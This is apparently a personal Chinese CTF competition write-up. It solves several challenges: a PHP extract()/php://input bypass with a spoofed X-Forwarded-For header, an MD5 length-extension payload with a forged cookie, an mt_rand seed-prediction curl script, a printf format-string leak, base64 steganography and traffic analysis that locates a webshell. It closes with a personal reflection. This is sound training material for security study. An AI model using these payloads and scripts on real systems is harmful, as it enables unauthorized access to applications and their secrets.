MD5_LENGTH

打开题目

抓包添加一个XFF为127.0.0.1,得到一段源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include 'flag.php';
extract($_GET);
if(isset($a)&&!empty()){
$hello=trim(file_get_contents($easy));
if($a==$hello){
echo 'flag';
}else{
echo'FIGHT!!!';
}
}
?>

可以用伪协议php://input绕过

payload:http://10.203.87.22:11091?a=hello&easy=php://input
POST参数:hello
ps:记得XFF=127.0.0.1也得带上
得到一个新的页面:http://10.203.87.22:11091/a435b314a80bdcb0.php

得到一点源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
error_reporting(0);
include 'salt.php';
$flag = flag{***********************};
$default = 'cherry';
if(isset($_COOKIE['hash'])) {

$cookie = $_COOKIE['hash'];
$value = $_GET['cherry'];
if($value != 'cherry'){
if(isset($value)&&!empty($value)){
if($cookie === md5($SALT.$value)){
echo 'GOOD!FLAG:$flag';
}else{
set_cookie('hash',$SALT,$default);
echo 'THE LAST STEPS!!!!HLOD ON~';
}
}else{
set_cookie('hash',$SALT,$default);
echo 'NO NO NO~';
}
}
}else{
set_cookie('hash',$SALT,$default);
$length = strlen($SALT);
echo 'MY SALT HAS $length LENGTH~~';
}

function set_cookie($name,$salt,$value){
$sign = md5($salt.$value);
setcookie($name,$sign);
}

在结合题目提示,应该是MD5长度扩展攻击,SALT的长度也给我们了
使用工具hashpump

然后使用得到的两个参数构造payload:(记得要将第二个参数中的’\x’全都改为’%’)
URL:http://10.203.87.22:11091/a435b314a80bdcb0.php?cherry=cherry%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00flag
cookie:hash=3c678b056c243e65f1456402dc2df6ef

得到flag

BEST_PHP

在页面源码处得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include 'flag.php';
if(admin()){
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['rand']) && isset($_SESSION['rand']) &&!empty($_POST['rand'])&&!empty($_SESSION['rand'])){
if($_POST['rand']==$_SESSION['rand']){
echo "Good!flag is".$flag;
}else{
echo "No,No,No";
}
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSION['rand']=sha1(md5($rand));
echo "Easy?too young too simple~~~";
}
}
hint:我好像泄露了什么~~~

需要绕过

  1. if(admin())
  2. $_POST['rand']==$_SESSION['rand']

在index.php.swo中发现了一些opcode代码(vi编辑器恢复)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
filename:       /root/cherry/vld/php/admin.php
function name: admin
number of ops: 31
compiled vars: !0 = $a, !1 = $b, !2 = $c, !3 = $d
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
3 0 E > FETCH_R global $0 '_COOKIE'
1 FETCH_DIM_R $1 $0, 'cherry'
2 ASSIGN !0, $1
4 3 FETCH_R global $3 '_GET'
4 FETCH_DIM_R $4 $3, 'cherry'
5 ASSIGN !1, $4
5 6 FETCH_R global $6 '_GET'
7 FETCH_DIM_R $7 $6, 'peithon'
8 ASSIGN !2, $7
6 9 FETCH_R global $9 '_GET'
10 FETCH_DIM_R $10 $9, 'prowes5'
11 ASSIGN !3, $10
7 12 ISSET_ISEMPTY_VAR 310378496 ~12 !0
13 > JMPZ_EX ~12 ~12, ->16
14 > IS_EQUAL ~13 !0, 'trim'
15 BOOL ~12 ~13
16 > > JMPZ ~12, ->29
8 17 > IS_EQUAL ~14 !1, 'cool'
18 > JMPZ_EX ~14 ~14, ->21
19 > IS_EQUAL ~15 !2, 'great'
20 BOOL ~14 ~15
21 > > JMPZ_EX ~14 ~14, ->24
22 > IS_EQUAL ~16 !3, 'nice'
23 BOOL ~14 ~16
9 24 > > JMPZ ~14, ->27
25 > > RETURN 1
26* JMP ->28
11 27 > > RETURN 0
12 28* JMP ->30
13 29 > > RETURN 0
15 30* > RETURN null
<--hint:
if(admin())
echo $flag;-->

发现要满足三个条件才能让admin()函数返回true
$_COOKIE[‘cherry’]=trim
$_GET[‘cherry’]==cool
$_GET[‘peithon’]==great
$_GET[‘prowes5’]==nice

而$_SESSION[‘rand’]是通过服务器当前时间为种子,用mt_rand()生成的随机数加密后生成
但是这个mt_rand生成的随机数其实是一个伪随机数,当mt_srand设置的种子一样时,生成随机数的顺序是一样的,所以当我们设置一个和它一样的种子我们就可以知道它所生成的随机数

写一个PHP脚本来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$ch = curl_init();
$cookie = 'cookie.txt';
date_default_timezone_set('Asia/Shanghai');
echo time();
mt_srand(time()+250);
$rand= mt_rand();
$data = array('rand' => sha1(md5($rand)));
curl_setopt($ch, CURLOPT_URL, "http://10.203.87.22:11305?cherry=cool&peithon=great&prowes5=nice");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE , 'cherry=trim' );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
$flag = curl_exec($ch);
$data = array('rand' => sha1(md5($rand)));
curl_setopt($ch,CURLOPT_URL,"http://10.203.87.22:11305?cherry=cool&peithon=great&prowes5=nice");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_POSTFIELDS , $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$flag=curl_exec($ch);
echo $output;
curl_close($ch);//关闭连接
?>

ps: mt_srand(time()+250);为什么时间要加上250秒呢§:з)))」∠)在我试了无数次之后发现每次服务器返回的响应时间都是比正常的多250秒的
最终得到flag

boomboomboom

打开题目 让我们提交密码,爆破得到密码为topgun

得到了一个vps的用户名和密码,远程登陆一下

在vps上发现了一个pwn题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>

char a[8];

int main()
{

char buf[30];
char *p=buf;

int fd=open("./flag.txt",0);

if(fd==-1)
{
puts("Open File Error");
exit(-1);
}

read(fd,buf,30);
close(fd);

puts("please input somethings to print \"flag\" ......");

read(0,a,8);
printf(a);

return 0;
}

利用printf 格式化字符串漏洞,可以读取有限范围地址的内容
比如 %2$s就是输出printf输出地址偏移量为2的地址中的内容。
最终在偏移量为5的地址上找到了flag:

BASEBASEBASE

这题打开是一堆base64加密后的字符串,解密后发现是一个输出HelloWorld的代码,那么flag应该就藏在这些base64编码中

谷歌了一下,发现这其实是base64隐写,利用网上给出的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res


def solve_stego():
with open('3.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)


def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str


if __name__ == '__main__':
solve_stego()

将哪个编码的txt文件放到脚本的同级目录下改名为3.txt运行
得到flag:

流量分析

用wireshark打开数据包,首先寻找登陆用户名和密码

过滤条件 http contains"login"

发现了一个/admin/login.php 这应该就是管理员登陆的地方了

过滤条件 http contains"/admin/login.php"

直接翻到最后面,前面都是一些攻击管理员密码的数据

最终在no.7335发现了黑客登录的管理员和密码

接着寻找一句话木马的路径

过滤条件:http contains"eval"

看到一堆a.php的数据包,打开后发现a.php就是一句话木马的文件名

最终flag:flag{admin/admin!@#pass123/a.php}

总结(20180922)


  去年这个时候刚刚接触安全,感觉找到了一个自己喜欢的东西吧。这个比赛算是对自己这一年的学习的验收吧,成绩挺好的,但是还没有达到让自己满意的地步。记一下这一年不足的地方。
1.一些文档写的不好
2.一些工具的命令不熟悉
3.写代码能力特别差(php、python、c++)
4.总是追求学习的进度,所以很多东西学的不深入
5.容易让别人影响自己

  总之,还是挺不满意的,今后的一年主要还是提升自己写代码的能力,还有学的东西一定得有深度不能只追求速度。